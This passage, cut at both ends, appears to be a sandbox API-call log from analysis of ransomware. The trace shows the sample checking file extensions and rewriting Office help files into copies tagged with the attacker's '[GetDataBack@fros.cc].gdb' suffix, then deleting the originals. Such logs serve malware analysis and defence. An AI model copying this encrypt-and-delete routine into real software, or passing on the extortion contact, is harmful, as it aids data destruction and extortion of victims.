Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0119.802] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0119.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.803] lstrlenW (lpString=".doc") returned 4 [0119.803] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0119.803] lstrlenW (lpString=".docx") returned 5 [0119.803] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0119.803] lstrlenW (lpString=".pdf") returned 4 [0119.803] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0119.803] lstrlenW (lpString=".xls") returned 4 [0119.803] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0119.803] lstrlenW (lpString=".xlsx") returned 5 [0119.803] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0119.803] lstrlenW (lpString=".ppt") returned 4 [0119.803] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0119.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.803] lstrlenW (lpString=".zip") returned 4 [0119.803] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0119.803] lstrlenW (lpString=".rar") returned 4 [0119.803] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0119.803] lstrlenW (lpString=".bz2") returned 4 [0119.803] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0119.803] lstrlenW (lpString=".7z") returned 3 [0119.803] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0119.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.803] lstrlenW (lpString=".dbf") returned 4 [0119.803] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0119.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.803] lstrlenW (lpString=".1cd") returned 4 [0119.803] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0119.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.803] lstrlenW (lpString=".jpg") returned 4 [0119.803] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0119.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.804] lstrlenW (lpString=".doc") returned 4 [0119.804] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0119.804] lstrlenW (lpString=".docx") returned 5 [0119.804] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0119.804] lstrlenW (lpString=".pdf") returned 4 [0119.804] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0119.804] lstrlenW (lpString=".xls") returned 4 [0119.804] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0119.804] lstrlenW (lpString=".xlsx") returned 5 [0119.804] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0119.804] lstrlenW (lpString=".ppt") returned 4 [0119.804] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0119.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.804] lstrlenW (lpString=".zip") returned 4 [0119.804] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0119.804] lstrlenW (lpString=".rar") returned 4 [0119.804] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0119.804] lstrlenW (lpString=".bz2") returned 4 [0119.804] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0119.804] lstrlenW (lpString=".7z") returned 3 [0119.804] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0119.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.804] lstrlenW (lpString=".dbf") returned 4 [0119.804] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0119.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.804] lstrlenW (lpString=".1cd") returned 4 [0119.804] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0119.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0119.804] lstrlenW (lpString=".jpg") returned 4 [0119.804] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0119.805] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0119.805] lstrlenW (lpString="PSS10O.CHM") returned 10 [0119.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0119.805] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=26929) returned 1 [0119.805] CloseHandle (hObject=0x1c4) returned 1 [0119.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0119.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0119.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0119.806] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.806] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0119.806] GetLastError () returned 0x0 [0119.806] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x6931, lpOverlapped=0x0) returned 1 [0119.808] WriteFile (in: hFile=0x1f8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x6940, lpOverlapped=0x0) returned 1 [0119.810] ReadFile (in: hFile=0x1c4, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0119.810] WriteFile (in: hFile=0x1f8, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe8, lpOverlapped=0x0) returned 1 [0119.810] SetEndOfFile (hFile=0x1f8) returned 1 [0119.810] CloseHandle (hObject=0x1f8) returned 1 [0119.812] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0119.812] SetEndOfFile (hFile=0x1c4) returned 1 [0119.813] CloseHandle (hObject=0x1c4) returned 1 [0119.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0119.813] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0119.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.814] lstrlenW (lpString=".doc") returned 4 [0119.814] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0119.814] lstrlenW (lpString=".docx") returned 5 [0119.814] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0119.814] lstrlenW (lpString=".pdf") returned 4 [0119.814] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0119.814] lstrlenW (lpString=".xls") returned 4 [0119.814] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0119.814] lstrlenW (lpString=".xlsx") returned 5 [0119.814] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0119.814] lstrlenW (lpString=".ppt") returned 4 [0119.814] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0119.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.814] lstrlenW (lpString=".zip") returned 4 [0119.814] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0119.814] lstrlenW (lpString=".rar") returned 4 [0119.814] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0119.814] lstrlenW (lpString=".bz2") returned 4 [0119.814] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0119.814] lstrlenW (lpString=".7z") returned 3 [0119.814] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0119.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.814] lstrlenW (lpString=".dbf") returned 4 [0119.814] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0119.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.814] lstrlenW (lpString=".1cd") returned 4 [0119.814] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0119.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.814] lstrlenW (lpString=".jpg") returned 4 [0119.814] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0119.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.814] lstrlenW (lpString=".doc") returned 4 [0119.815] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0119.815] lstrlenW (lpString=".docx") returned 5 [0119.815] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0119.815] lstrlenW (lpString=".pdf") returned 4 [0119.815] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0119.815] lstrlenW (lpString=".xls") returned 4 [0119.815] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0119.815] lstrlenW (lpString=".xlsx") returned 5 [0119.815] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0119.815] lstrlenW (lpString=".ppt") returned 4 [0119.815] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0119.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.815] lstrlenW (lpString=".zip") returned 4 [0119.815] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0119.815] lstrlenW (lpString=".rar") returned 4 [0119.815] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0119.815] lstrlenW (lpString=".bz2") returned 4 [0119.815] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0119.815] lstrlenW (lpString=".7z") returned 3 [0119.815] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0119.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.815] lstrlenW (lpString=".dbf") returned 4 [0119.815] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0119.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.815] lstrlenW (lpString=".1cd") returned 4 [0119.815] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0119.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0119.815] lstrlenW (lpString=".jpg") returned 4 [0119.815] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0119.815] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0119.815] lstrlenW (lpString="PSS10R.CHM") returned 10 [0119.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0120.221] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=27195) returned 1 [0120.221] CloseHandle (hObject=0x1ec) returned 1 [0120.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0120.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0120.221] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0120.221] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0120.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0120.222] GetLastError () returned 0x0 [0120.222] ReadFile (in: hFile=0x1ec, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x6a3b, lpOverlapped=0x0) returned 1 [0120.320] WriteFile (in: hFile=0x1cc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x6a40, lpOverlapped=0x0) returned 1 [0120.321] ReadFile (in: hFile=0x1ec, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0120.321] WriteFile (in: hFile=0x1cc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe8, lpOverlapped=0x0) returned 1 [0120.321] SetEndOfFile (hFile=0x1cc) returned 1 [0120.321] CloseHandle (hObject=0x1cc) returned 1 [0120.322] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0120.322] SetEndOfFile (hFile=0x1ec) returned 1 [0120.323] CloseHandle (hObject=0x1ec) returned 1 [0120.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.324] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0120.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.324] lstrlenW (lpString=".doc") returned 4 [0120.324] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0120.324] lstrlenW (lpString=".docx") returned 5 [0120.324] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0120.324] lstrlenW (lpString=".pdf") returned 4 [0120.324] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0120.324] lstrlenW (lpString=".xls") returned 4 [0120.324] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0120.324] lstrlenW (lpString=".xlsx") returned 5 [0120.324] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0120.324] lstrlenW (lpString=".ppt") returned 4 [0120.324] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0120.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.324] lstrlenW (lpString=".zip") returned 4 [0120.325] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0120.325] lstrlenW (lpString=".rar") returned 4 [0120.325] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0120.325] lstrlenW (lpString=".bz2") returned 4 [0120.325] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0120.325] lstrlenW (lpString=".7z") returned 3 [0120.325] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.325] lstrlenW (lpString=".dbf") returned 4 [0120.325] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.325] lstrlenW (lpString=".1cd") returned 4 [0120.325] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.325] lstrlenW (lpString=".jpg") returned 4 [0120.325] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.325] lstrlenW (lpString=".doc") returned 4 [0120.325] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0120.325] lstrlenW (lpString=".docx") returned 5 [0120.325] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0120.325] lstrlenW (lpString=".pdf") returned 4 [0120.325] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0120.325] lstrlenW (lpString=".xls") returned 4 [0120.325] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0120.325] lstrlenW (lpString=".xlsx") returned 5 [0120.325] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0120.325] lstrlenW (lpString=".ppt") returned 4 [0120.325] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0120.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.325] lstrlenW (lpString=".zip") returned 4 [0120.326] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0120.326] lstrlenW (lpString=".rar") returned 4 [0120.326] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0120.326] lstrlenW (lpString=".bz2") returned 4 [0120.326] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0120.326] lstrlenW (lpString=".7z") returned 3 [0120.326] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0120.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.326] lstrlenW (lpString=".dbf") returned 4 [0120.326] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0120.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.326] lstrlenW (lpString=".1cd") returned 4 [0120.326] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0120.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0120.326] lstrlenW (lpString=".jpg") returned 4 [0120.326] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0120.326] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0120.326] lstrlenW (lpString="SETUP.CHM") returned 9 [0120.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0120.484] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=67190) returned 1 [0120.485] CloseHandle (hObject=0x1cc) returned 1 [0120.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0120.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0120.485] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0120.485] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0120.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0120.921] GetLastError () returned 0x0 [0120.921] ReadFile (in: 